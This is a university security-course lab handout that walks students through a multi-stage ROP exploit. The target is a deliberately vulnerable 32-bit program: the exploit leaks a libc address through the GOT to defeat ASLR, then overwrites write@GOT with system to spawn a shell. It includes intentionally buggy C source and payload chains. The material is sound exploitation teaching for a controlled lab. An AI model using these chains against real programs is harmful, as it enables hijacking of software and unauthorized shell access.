

CSC 472 Fall 2026: Lab 3 — Multi-Stage Exploitation

Dr. Si Chen

Assigned Tue Oct 27, 2026 · Due **Thu Nov 6, 2026, 11:59 PM** (D2L)
· 10 points

Introduction

Every protection is now switched *on*. You will defeat all of them at once, with no injected code, in a single running process:

- **NX/DEP** — the stack is non-executable, so shellcode is out. You must reuse code that is already in the process (the binary's PLT stubs and, after you leak it, libc).
- **ASLR** — libc sits at a fresh random base every run, so you cannot hard-code **system**'s address. You must *leak* a real libc address at runtime and rebase.
- **no-PIE** — the *binary* is not randomized, so its PLT, GOT, and **.bss** are at fixed addresses you can read off `objdump/readelf` once.

The trick that ties it together: each stage **returns back into main**, so the one libc base you leaked in stage 1 is still valid when you use it in stage 2. This is exactly the Class 15 technique — applied to a *different* binary than the lecture demo.

Course webpage: <https://wcu.ninja/csc472> (the Class 15 slides, *Multi-Stage Exploits*, cover everything this lab needs).

Academic-integrity note. The Week 10 code bundle ships a *worked* multi-stage script for the *lecture* binary. This lab's binary (**vuln**) has a different buffer size, different symbol addresses, and a different offset, so that script will **not** work as-is. Copying it and changing nothing is not a solution; your offset, addresses, and script must be derived from *this* binary and shown in your report.

The target program

The binary **vuln** was compiled from the source below with `gcc -m32 -fno-stack-protector -z noexecstack -no-pie`:

```
#include <unistd.h>
```

```

/* a clean cdecl 3-argument cleanup gadget: pop ecx; pop ebx; pop
   ebp; ret */
__asm__(".globl _pop3_gadget\n"
        "pop3_gadget:\n\tpop\%ecx\n\tpop\%ebx\n\tpop\%ebp\n\tret\n");

char notes[64];                /* fixed .bss scratch you may write
                               into */

void vuln(void) {
    char buf[40];
    read(0, buf, 160);         /* the bug: 160 bytes into a 40-byte
                               buffer */
}

int main(void) {
    write(1, "lab3>\n", 6);
    vuln();
    return 0;
}

```

It imports **only** read and write. There is no system() in the binary and no "/bin/sh" string — you will manufacture both.

Get set up

```

cd ~ && curl -fLO https://wcu.ninja/files/CSC472_Lab3.code.tar.gz
tar -xzf CSC472_Lab3.code.tar.gz && cd csc472-lab3
make                # builds ./vuln
make checknx # GNU_STACK = RW -> NX is ON
make info      # write@plt/read@plt, write@GOT/read@GOT, pop3_gadget, notes
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space # ASLR ON (the point)

```

Work in your WolfCTF Lab 1 terminal (GDB + GEF + pwntools included): <https://portal.wolfctf.com/labs>

Part 1: Find the overflow offset

```

gdb ./vuln
gef> pattern create 160 pat.txt
gef> r < pat.txt
gef> pattern offset $eip

```

Questions:

1. **Q1:** Paste the crash. What value lands in \$eip, and what offset does pattern offset report as the distance from the start of buf to the saved return address? (1 point)

2. **Q2:** The buffer is 40 bytes, yet the offset is not 40. In 1–2 sentences, account for the extra bytes between `buf` and the saved return address. (1 point)

Part 2: Stage 1 — leak a libc address

Because the binary is no-PIE, `write@GOT` is at a fixed address, but its *contents* are the real (randomized) libc address of `write` after the loader resolves it. Call `write(1, write@GOT, 4)` to print those 4 bytes to yourself, then chain a return back into `main` so the process keeps running on the same libc base.

```
payload = b"A"*OFFSET
+ p32(write_plt) + p32(pop3_gadget) + p32(1) + p32(write_got) + p32(4)
+ p32(main)
```

Then `leak = u32(p.recv(4)); libc.address = leak - libc.sym.write; system = libc.sym.system`

Questions:

3. **Q3:** Paste your stage-1 script and the leaked `write@libc` value, the computed libc base, and the computed `system` address *from one run*. (2 points)
4. **Q4:** Why must the chain return into `main` instead of just letting the program exit? What would break if you leaked the address in one process and then started a *new* process to use it? (1 point)

Part 3: Stage 2 — drop a string, overwrite the GOT, get a shell

In the *same* process (`main` has called `vuln` again, so you get a second overflow), chain three calls:

```
+ p32(read_plt) + p32(pop3) + p32(0) + p32(notes) + p32(8) # "/bin/sh"
-> notes
+ p32(read_plt) + p32(pop3) + p32(0) + p32(write_got) + p32(4) # system
-> write@GOT
+ p32(write_plt) + p32(pop3) + p32(notes) # write@plt(notes)
```

After the overwrite, `write@plt` jumps through `write@GOT`, which now points at `system`; so `write@plt(notes)` executes `system("/bin/sh")`. Send `b"/bin/sh\x00"` and then `p32(system)` on stdin so the two `read()` calls consume them in order. *Hint:* the first `read(0,buf,160)` reads up to 160 bytes — make sure it consumes exactly your chain and not the two lines you send afterward. **Questions:**

5. **Q5:** Paste your complete, working exploit and a transcript showing an interactive shell. Run `id` inside it to prove it is a real shell, not printed text. (3 points)

6. **Q6:** Each chained `cdecl` call leaves its 3 arguments on the stack. In 1–2 sentences, explain what `pop3_gadget (pop;pop;pop;ret)` does between links and why the chain breaks without it. (1 point)
7. **Q7:** Name the *one* mitigation that, if enabled, would have stopped stage 2 specifically (not stage 1), and explain in 1–2 sentences why. (1 point)

Deliverables

Submit a PDF report named `Lastname_Firstname_Lab3.pdf` answering all seven questions. Every answer must include **evidence from your own session**: GDB/GEF output, your exploit scripts in full, and one or two sentences of interpretation per question.

Submission and rules

- Upload the PDF to **D2L → Assignments → Lab 3** by the due date above. The D2L timestamp is authoritative; late submissions receive no credit unless an excuse is communicated before the deadline.
- **Individual work.** You may discuss technique with classmates, but your offset, addresses, exploit scripts, and explanations must be your own. Identical scripts or wording across reports will be treated as an academic-integrity case.
- **AI tools** may be used to explain concepts or help debug a script, but every AI-assisted claim must be confirmed by a command you actually ran, and that command's output must appear in your report.
- The target is compiled `-fno-stack-protector -z noexecstack -no-pie` with kernel ASLR left ON. Stack canaries return in Class 16; this lab is about beating NX + ASLR by code reuse and an information leak.